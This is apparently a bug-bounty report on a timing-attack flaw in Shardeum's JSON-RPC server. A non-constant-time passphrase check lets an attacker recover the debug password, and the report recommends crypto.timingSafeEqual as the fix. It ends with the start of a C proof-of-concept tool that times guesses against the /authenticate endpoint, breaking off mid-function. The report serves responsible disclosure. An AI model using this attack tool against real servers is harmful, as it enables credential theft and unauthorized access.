Boost _ Shardeum_ Ancillaries 34392 - [Websites and Applications - Medium] JSON-RPC Complete Password Recovery Through Timing Attack

Submitted on Sun Aug 11 2024 04:22:08 GMT-0400 (Atlantic Standard Time) by @Swift77057 for Boost | Shardeum: Ancillaries

Report ID: #34392

Report type: Websites and Applications

Report severity: Medium

Target: https://github.com/shardeum/json-rpc-server/tree/dev

Impacts:

  • Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters, Substituting contract addresses, Submitting malicious transactions

  • Improperly disclosing confidential user information, such as: Email address, Phone number, Physical address, etc.

  • Retrieve sensitive data/files from a running server, such as: /etc/shadow, database passwords, blockchain keys (this does not include non-sensitive environment variables, open source code, or usernames)

Description

Overview

There is a vulnerability in Shardeum's JSON-RPC implementation. In particular, it uses an unsafe comparison to validate the user-provided password against a hardcoded password from a config file.

The unsafe comparison has a timing leak that allows for password recovery via a classic timing attack (https://en.wikipedia.org/wiki/Timing_attack). An unprivileged attacker can exploit this vulnerability to recover the JSON-RPC password.

The attack does not require any previous knowledge of the password, and is available to a completely unauthenticated attacker. However it relies on being able to gather accurate timing measurements from the server.

Viable attack conditions include an attacker VM that is colocated with the victim VM in an AWS cluster, two servers that are in the same data centre, a compromised machine on the same network where the JSON-RPC server runs, and so on...

Impact

The impact is that an unauthenticated user can recover the RPC password. It falls under the impact category of

  • Retrieve sensitive data/files from a running server, such as: /etc/shadow, database passwords, blockchain keys (this does not include non-sensitive environment variables, open source code, or usernames)

Root Cause

The root cause is the use of a timing-unsafe comparison in the Typescript implementation of the RPC server. The vulnerability is located in the file json-rpc-server/src/routes/authenticate.ts. We find it at line marked with an [a]:

router.route('/:passphrase').get(async function (req: Request, res: Response) {
  const { passphrase } = req.params
  const payload = { user: 'shardeum-dev' }
  if (passphrase === CONFIG.passphrase) {     [a]
    // token don't expire, usually this is bad practice
    // for the case being implementing refresh token is overkill
    // stolen token worst case scenario our debug data ended up being not useful.
    const token = jwt.sign(payload, CONFIG.secret_key)
    res.cookie('access_token', token, {
      httpOnly: false,
      maxAge: 1000 * 60 * 60 * 700, // ~ a month
    })
    return res.send({ token: token, message: 'authenticated and authorized for debug api calls' }).status(200)
  }
  return res.send({ message: 'wrong passphrase' }).status(400)
})

JSON-RPC runs on a Node.js server that is powered by Google's v8 Javascript engine internally. To understand the characteristics of the timing we are going to attack, we analyze the V8-function String::SlowEquals():

From https://github.com/v8/v8/blob/feca1316d786a4314b1f09930f7687a5d18649a9/src/objects/string.cc#L1084:

bool String::SlowEquals(
    Tagged<String> other,
    const SharedStringAccessGuardIfNeeded& access_guard) const {
  DisallowGarbageCollection no_gc;
  // Fast check: negative check with lengths.
  int len = length();
  if (len != other->length()) return false;     [b]
  if (len == 0) return true;

  // redacted for simplicity

  // We know the strings are both non-empty. Compare the first chars
  // before we try to flatten the strings.
  if (this->Get(0, access_guard) != other->Get(0, access_guard)) return false;   [c]

  // redacted for simplicity
  StringComparator comparator;
  return comparator.Equals(this, other, access_guard);     [d]
}

On line [b] the length of the user-provided password is compared against the length of the RPC password. V8 will return early if they mismatch. Here, an attacker can measure whether their input password has the same length as the RPC password by measuring the time it takes for the server to respond.

After that, on line [c] the Javascript engine will check the first character of the user-provided password against the first character of the RPC password. An attacker can try every possible character and measure whether the first character matches the first character of the RPC password, thereby recover the first character of the RPC password.

After that, on line [d], the Javascript engine uses a StringComparator object which will compare the two strings one character at a time. By measuring the timing it takes for the server to respond, the attacker can guess and bruteforce the RPC password one character at a time. This is the classic timing attack that can recover the password one character at a time:

From https://github.com/v8/v8/blob/78c8a81546e63c87304998b98b831ba2ad991e31/src/objects/string-comparator.cc#L49:

bool StringComparator::Equals(
    Tagged<String> string_1, Tagged<String> string_2,
    const SharedStringAccessGuardIfNeeded& access_guard) {
  int length = string_1->length();
  state_1_.Init(string_1, access_guard);
  state_2_.Init(string_2, access_guard);
  while (true) {
    int to_check = std::min(state_1_.length_, state_2_.length_);
    DCHECK(to_check > 0 && to_check <= length);
    bool is_equal;
    if (state_1_.is_one_byte_) {
      if (state_2_.is_one_byte_) {
        is_equal = Equals<uint8_t, uint8_t>(&state_1_, &state_2_, to_check);
      } else {
        is_equal = Equals<uint8_t, uint16_t>(&state_1_, &state_2_, to_check);
      }
    } else {
      if (state_2_.is_one_byte_) {
        is_equal = Equals<uint16_t, uint8_t>(&state_1_, &state_2_, to_check);
      } else {
        is_equal = Equals<uint16_t, uint16_t>(&state_1_, &state_2_, to_check);
      }
    }
    // Looping done.
    if (!is_equal) return false;      [e]
    length -= to_check;
    // Exit condition. Strings are equal.
    if (length == 0) return true;
    state_1_.Advance(to_check, access_guard);
    state_2_.Advance(to_check, access_guard);
  }
}

At line [e] is where the loop breaks on the first mismatched character. This is what lets us recover the password one character at a time.

Fix

For more information about how to use timing-safe comparison functions, see the discussion in thread: https://stackoverflow.com/questions/31095905/whats-the-difference-between-a-secure-compare-and-a-simple

In particular, Node.js supports the following API: https://nodejs.org/dist/latest-v6.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b

To fix the vulnerability, the JSON-RPC should use crypto.timingSafeEqual() API when comparing the two passwords.

Proof of concept

Proof of Concept

To get good timing measurements, we wrote an attacker tool in C. This can be compiled with the following command:

gcc -o attack attack.c && ./attack

Here is the source-code file attack.c:

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <time.h>
#include <fcntl.h>

struct hostent *hp;
bool verbose = false;
int sock;

int init() {
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        if (verbose) perror("socket creating error");
        return -1;
    }

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(3000);
    memcpy(&addr.sin_addr,  hp->h_addr, hp->h_length);

    if (verbose) printf("connecting\n");

    int rc = connect(sock, (const struct sockaddr *) &addr, sizeof(addr));
    if (rc != 0) {
        if (verbose) printf("failed to connect\n");
        close(sock);
        return -2;
    }

    if (verbose) printf("connected!\n");
    return 0;
}

signed long send_and_measure_inner(const char* password) {
    char buf[256];
    sprintf(buf, "GET /authenticate/%s HTTP/1.1\r\n\r\n", password);

    int i;
    struct timespec tp1, tp2;

    for (i=0; i<1; i++) {
        //printf("%s\n", buf);
        if (send(sock, buf, strlen(buf), 0) <= 0) {
            printf("send fail\n");
            close(sock);
            return -3;
        }

        static char r[2048];